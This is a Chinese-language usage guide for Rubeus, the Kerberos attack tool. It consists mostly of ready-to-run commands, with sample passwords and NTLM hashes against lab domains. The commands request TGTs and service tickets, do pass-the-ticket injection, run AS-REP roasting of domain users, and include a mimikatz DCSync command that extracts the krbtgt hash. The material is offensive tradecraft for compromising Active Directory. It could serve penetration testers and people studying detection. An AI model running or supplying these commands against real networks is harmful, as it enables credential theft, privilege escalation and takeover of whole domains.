项目地址GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
Rubeus可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如
下面是一些常用的功能使用案例,完整的功能使用请看原项目
Rubeus使用asktgt模块请求TGT,可以使用明文、密码哈希(DES加密和RC4加密)和AES Key(AES128和AES256)进行认证,可以将TGT以base64打印出来。也可以将TGT保存为文件,还可以将TGT导入内存中
asktgt模块有以下参数 中括号内的为可选参数
如果没有指定/domain参数,则默认使用主机当前所在的域,如果没有指定/dc参数 则使用DsGetDcName函数来获取主机当前所在域的域控
Rubeus支持使用明文密码请求TGT,使用administrator的明文密码请求TGT,命令如下:
# 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt
# 明文密码申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt /outfile:ticket.kirbi
TGT导入内存后,就可以访问高权限服务了
Rubeus也支持使用密码hash请求TGT。使用administrator的密码哈希请求TGT,命令如下
# 密码哈希申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt
# 密码哈希申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt /outfile:ticket.kirbi
#完整版
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:245244f247f074475e75aba21cd3e692 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap /ptt
TGT导入内存后,即可以访问高权限服务
Rubeus使用asktgs模块申请ST,需要提供一张TGT,提供的TGT可以是base64格式的也可以是kirbi结尾的票据文件。因此要先使用Rubeus请求一张TGT,然后再使用asktgs模块使用该TGT请求指定的服务的ST。可以将请求的ST以base64格式打印出来,也可以将ST保存为文件,也可以将ST直接导入内存中。
asktgs模块有以下参数:
首先使用Rubeus执行如下命令请求一张TGT
# 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt
使用上一步请求的TGT即可请求指定服务的ST了
# 请求范围跟owa.god.org 的CIFS的ST,并导入内存
Rubeus.exe asktgs /service:"cifs/owa.god.org" /nowrap /ptt/ticket:TGT票据的base64格式
Rubeus.exe asktgs /service:"ldap/owa.god.org" /nowrap /ptt/ticket:TGT 票据的base64格式
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt/csv" "exit"
没导入ST之前无法导出krbtgt用户哈希
导入ST后就可以了
Rubeus支持通过票据文件或base64格式的票据进行导入。除了Rubeus请求生成的base64票据还可以是其他工具生成的票据,只要是.kirbi为后缀的就可以
如果请求票据的时候没有使用/ptt参数导入内存中,可以直接使用Rubeus导入请求的base64格式的票据,即可访问目标
请求TGT不导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap
使用以下命令将base64格式的票据导入内存中
Rubeus.exe ptt /ticket:上一步请求的TGT
导入Rubeus生成的票据文件
使用Rubeus生成的票据文件,并使用Rubeus导入票据文件
# 明文密码申请TGT,将票据保存为ticket.kirbi文件,不导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /outfile:ticket.kirbi
# 导入票据
Rubeus.exe ptt /ticket:ticket.kirbi
导入kekeo生成的票据文件
# 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password:P@ss1234
# 导入票据
Rubeus.exe ptt /ticket:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
#烘焙当前域中的所有用户
Rubeus.exe asreproast
#对特定 OU 中的所有用户进行烘焙,将哈希值保存到 Hashcat 格式的输出文件中:
Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt
#烘焙特定用户
Rubeus.exe asreproast /user:TestOU3user
#烘焙外部信任域中的所有用户
Rubeus.exe asreproast /domain:dev.testlab.local
#使用备用凭证在外部非信任域中烘焙用户
Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"